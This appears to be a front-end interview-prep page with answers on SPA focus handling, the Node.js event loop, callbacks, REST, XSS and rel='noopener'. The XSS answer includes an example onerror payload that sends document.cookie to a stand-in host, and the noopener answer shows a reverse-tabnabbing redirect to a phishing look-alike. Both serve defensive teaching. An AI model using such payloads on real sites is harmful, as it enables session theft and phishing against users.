07Describe your thoughts on how a single page web app should handle focus when changing routesMidAccessibilityReactdemo
IN 30 SECONDS

In an SPA, a route change swaps content without loading a new page, so the browser does none of what it does on a real navigation: focus stays on the link that was clicked (which may no longer exist), and screen readers announce nothing. The app should move focus to the new content, usually its main <h1> (made focusable with tabindex="-1"), update document.title, and let the change be announced.

GOOD TO HEAR
  • Client-side navigation skips the browser's reset
  • Focus stays on a stale element
  • Move focus to the new heading (tabindex=-1)
  • Update the title and announce
  • Scroll restoration
function RouteHeading({ title }: { title: string }) {
  const headingRef = useRef<HTMLHeadingElement>(null);

  useEffect(() => {
    document.title = title + " · Example";
    headingRef.current?.focus();
  }, [title]);

  return (
    <h1 ref={headingRef} tabIndex={-1} className="route-heading">
      {title}
    </h1>
  );
}
  • Why the heading: focus lands at the top of the new content, and the screen reader reads its name, which tells the user where they are. Focusing a skip link, or announcing the new title through a live region, are the other approaches people use; Gatsby's 2019 user research (linked below) compared them with real users.
  • Remove the outline on that heading only if it's distracting (.route-heading:focus { outline: none }): it is not an interactive control.
  • Restore scroll to the top on new pages, and to the previous position on Back.
  • Framework support: Next.js's App Router includes a route announcer that reads the new page's title; check what your router does before adding your own.

The trap: Moving focus to <body> or not moving it at all leaves keyboard users at a stale position halfway down the page.

InteractiveNavigate the mini app with and without focus management, and watch where focus ends up.
loading demo…
Node.js

Node.js and APIs

Node's async conventions, its event loop, and the REST style most front ends talk to.

4
01What is the event loop in Node.js?SeniorNode.jsJavaScriptdemo
IN 30 SECONDS

The loop, provided by libuv, that lets single-threaded JavaScript handle many concurrent operations. JavaScript runs on one thread; I/O is handed to the operating system or libuv's thread pool, and when it completes, its callback is queued. Each turn of the loop runs through phases: timers (setTimeout), pending callbacks, poll (I/O callbacks, waiting for new events), check (setImmediate) and close callbacks. After every callback, Node drains the process.nextTick queue, then the promise microtask queue.

GOOD TO HEAR
  • libuv
  • Single JS thread, non-blocking I/O
  • The phases in order
  • nextTick and microtasks between callbacks
  • setImmediate vs setTimeout
  • Thread pool and blocking
import { readFile } from "node:fs";

readFile("package.json", () => {
  setTimeout(() => console.log("timeout"), 0);
  setImmediate(() => console.log("immediate"));
  process.nextTick(() => console.log("nextTick"));
  Promise.resolve().then(() => console.log("promise"));
  console.log("I/O callback");
});
stdout
I/O callback
nextTick
promise
immediate
timeout

Inside an I/O callback the loop is in the poll phase, so the check phase (setImmediate) comes before the loop wraps round to timers. In the main module the order of setTimeout(fn, 0) and setImmediate is not guaranteed: it depends on how long the process took to start.

PhaseRuns
timersexpired setTimeout / setInterval callbacks
pending callbackssome system-level I/O callbacks deferred from the previous turn
pollI/O callbacks; waits here for new events when nothing else is scheduled
checksetImmediate callbacks
close callbacksclose events, such as socket.on("close")
  • Thread pool: file system, DNS lookup, crypto and zlib run on libuv's pool (4 threads by default); network sockets use the OS's non-blocking I/O.
  • Blocking the loop with CPU work (a big JSON.parse, a sync hash) stalls every request. Move it to worker_threads.
  • Recursive process.nextTick can starve the loop: the queue is drained completely before moving on.
InteractiveStep the loop around its phases and see when nextTick and promises cut in.
loading demo…
02NodeJS often uses a callback pattern where if an error is encountered during execution, this error is passed as the first argument to the callback. What are the advantages of this pattern?MidNode.jsJavaScript
THE QUESTION'S CODE
fs.readFile(filePath, function (err, data) {
  if (err) {
    // handle the error; the return is important here
    // so execution stops
    return console.log(err);
  }
  // use the data
  console.log(data);
});
Show the answer
IN 30 SECONDS

An error can't be thrown back to the caller from an asynchronous callback: by the time it runs, the caller's try/catch is long gone. Passing it as the first argument makes failure an ordinary value. Because every API follows the same shape ((err, result)), handling the error is the first thing you see, success and failure share one callback, and tools such as util.promisify can convert any of them to promises mechanically.

GOOD TO HEAR
  • Errors can't be thrown across async boundaries
  • Consistent (err, data) signature
  • Error checked first
  • null on success
  • util.promisify relies on it
import { promisify } from "node:util";

function legacyRead(path, callback) {
  setTimeout(() => {
    if (path === "") callback(new Error("empty path"));
    else callback(null, "contents of " + path);
  }, 5);
}

legacyRead("", (error, data) => {
  if (error) return console.log("failed:", error.message);
  console.log(data);
});

const read = promisify(legacyRead);
console.log(await read("notes.txt"));
stdout
failed: empty path
contents of notes.txt
  • Consistency: one convention across core modules and the ecosystem.
  • Explicit handling: the if (err) return ... guard is hard to forget when the error is the first parameter.
  • null for success: callers test truthiness, so pass null, not undefined or false.
  • Call exactly once, and never throw from inside the callback-taking function after starting async work: report through the callback.

Interview line: Today I'd use the promise APIs (node:fs/promises) with async/await, and keep error-first callbacks for older libraries, wrapped with promisify.

03How can you avoid callback hells?SeniorNode.jsJavaScript
THE QUESTION'S CODE
getData(function (a) {
  getMoreData(a, function (b) {
    getMoreData(b, function (c) {
      getMoreData(c, function (d) {
        getMoreData(d, function (e) {
          // ...
        });
      });
    });
  });
});
Show the answer
IN 30 SECONDS

Use promises and async/await so dependent steps read top to bottom instead of nesting, with one try/catch for all of them. Before promises, the fixes were naming and extracting the callbacks into separate functions and using a control-flow library. Steps that don't depend on each other should run in parallel with Promise.all.

GOOD TO HEAR
  • Promises and async/await
  • Named, modular functions
  • Promise.all for parallel steps
  • util.promisify
  • Centralised error handling
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const getData = async () => (await wait(5), 1);
const getMoreData = async (n) => (await wait(5), n + 1);

async function pipeline() {
  try {
    const a = await getData();
    const b = await getMoreData(a);
    const c = await getMoreData(b);
    const d = await getMoreData(c);
    return await getMoreData(d);
  } catch (error) {
    console.error("pipeline failed", error);
    throw error;
  }
}
console.log(await pipeline());
stdout
5
  • Promisify callback APIs (util.promisify, or the promise versions such as node:fs/promises).
  • Flatten with chaining if you can't use async: getData().then(getMoreData).then(getMoreData).
  • Parallelise independent work: const [user, orders] = await Promise.all([getUser(), getOrders()]).
  • Extract named functions for each step; the nesting goes away and each piece is testable.

The trap: Callback hell is mostly about error handling: each level needs its own if (err) check, and forgetting one swallows the error. That is the strongest argument for promises.

04What is REST?MidNode.jsdemo
IN 30 SECONDS

REpresentational State Transfer, an architectural style for networked APIs described by Roy Fielding in 2000. Data is modelled as resources identified by URLs (/posts/42), and clients act on them with the standard HTTP methods (GET, POST, PUT, PATCH, DELETE), exchanging representations such as JSON. Requests are stateless, responses say whether they can be cached, and status codes report the outcome.

GOOD TO HEAR
  • Resources identified by URLs
  • HTTP methods as operations
  • Stateless, cacheable
  • Status codes
  • Idempotency
  • Alternatives: GraphQL, gRPC
ActionRequestTypical success
List postsGET /posts200 OK
Read oneGET /posts/42200 OK (404 if missing)
CreatePOST /posts201 Created + Location: /posts/43
ReplacePUT /posts/42200 OK or 204 No Content
Update fieldsPATCH /posts/42200 OK
DeleteDELETE /posts/42204 No Content
Nested resourceGET /posts/42/comments200 OK
POST /posts HTTP/1.1
Content-Type: application/json

{ "title": "Hello" }

HTTP/1.1 201 Created
Location: /posts/43
Content-Type: application/json

{ "id": 43, "title": "Hello" }
  • Nouns in URLs, verbs in methods: POST /posts, not POST /createPost.
  • Safe and idempotent: GET changes nothing; GET, PUT and DELETE can be repeated with the same result; POST cannot. That matters for retries.
  • Stateless: every request carries what the server needs (for example an Authorization header), which makes servers easy to scale.
  • Alternatives: GraphQL (client chooses the fields, one endpoint), gRPC (binary, typed contracts), tRPC (TypeScript end to end).
InteractiveSend requests to a toy /posts API and compare methods, status codes and repeat behaviour.
loading demo…
Security

Web security

Two attacks every front-end developer should be able to explain, and the defaults that stop them.

2
01What is a cross-site scripting attack (XSS) and how do you prevent it?MidSecurityJavaScriptdemo
IN 30 SECONDS

XSS is when an attacker gets their script to run in your page, in other users' browsers, with your origin's privileges: it can read the page, act as the user and steal tokens. It happens when untrusted input is inserted into HTML, attributes, URLs or scripts without the right escaping. Prevent it by escaping output (frameworks like React do it by default for text), avoiding raw-HTML APIs, sanitising the HTML you must render, and adding a Content Security Policy.

GOOD TO HEAR
  • Injected script runs with the site's privileges
  • Stored, reflected, DOM-based
  • Escape output by context
  • Avoid innerHTML and eval; sanitise
  • Content Security Policy
  • HttpOnly cookies
const comment = '<img src=x onerror="fetch(\'https://evil.example/?c=\' + document.cookie)">';

element.innerHTML = comment;    // vulnerable: the browser parses it and runs onerror
element.textContent = comment;  // safe: shown as literal text
function Comment({ text, html }: { text: string; html: string }) {
  return (
    <>
      {/* Text is escaped by React: safe. */}
      <p>{text}</p>
      {/* Raw HTML: only after sanitising it, e.g. with DOMPurify.sanitize(html). */}
      <div dangerouslySetInnerHTML={{ __html: html }} />
    </>
  );
}
TypeWhere the script comes from
Storedsaved on the server (a comment, a profile) and served to every viewer
Reflectedechoed back from the request (a search term in the URL)
DOM-basedclient code writes attacker-controlled data (location.hash) into the DOM
  • Escape by context: HTML text, attribute values, URLs and inline scripts each need different encoding. Templating engines and React handle the common cases.
  • Dangerous sinks: innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, new Function, setTimeout(string), and href/src attributes holding user-supplied javascript: URLs, which escaping doesn't neutralise: validate the scheme.
  • Sanitise required HTML with a maintained library (DOMPurify); never with your own regex.
  • Content Security Policy: script-src 'self' 'nonce-...' stops injected inline scripts from running; Trusted Types can lock down DOM sinks.
  • Limit the damage: HttpOnly cookies can't be read by scripts.
InteractivePaste a payload and see what the HTML parser would build from it, without anything running.
loading demo…
02Where and why is the rel="noopener" attribute used?MidHTMLSecurity
IN 30 SECONDS

On links that open in a new tab (target="_blank"). Without it, the opened page gets window.opener, a reference to your page, and can navigate it, for example to a look-alike login page while the user is looking at the new tab ("reverse tabnabbing"). rel="noopener" sets window.opener to null. Modern browsers now apply it by default to target="_blank" links, but it is still written explicitly, and needed for window.open.

GOOD TO HEAR
  • Links with target="_blank"
  • window.opener access
  • Reverse tabnabbing
  • noreferrer too
  • Now the browser default, still worth writing
<a href="https://other.example" target="_blank" rel="noopener noreferrer">Other site</a>
// The attack, from the opened page:
if (window.opener) {
  window.opener.location = "https://phishing.example/login";
}

// Opening a window yourself: pass noopener in the features.
window.open("https://other.example", "_blank", "noopener");
  • noreferrer also omits the Referer header, and implies noopener.
  • Browsers changed the default around 2020–2021 (Chrome 88, Firefox 79, Safari 12.1): target="_blank" behaves as if noopener were set unless you write rel="opener".
  • A side benefit: without an opener link, the browser can put the new page in a separate process.

The trap: rel="noopener" protects your page from the one you link to, not the reverse. User-generated links are the risky ones.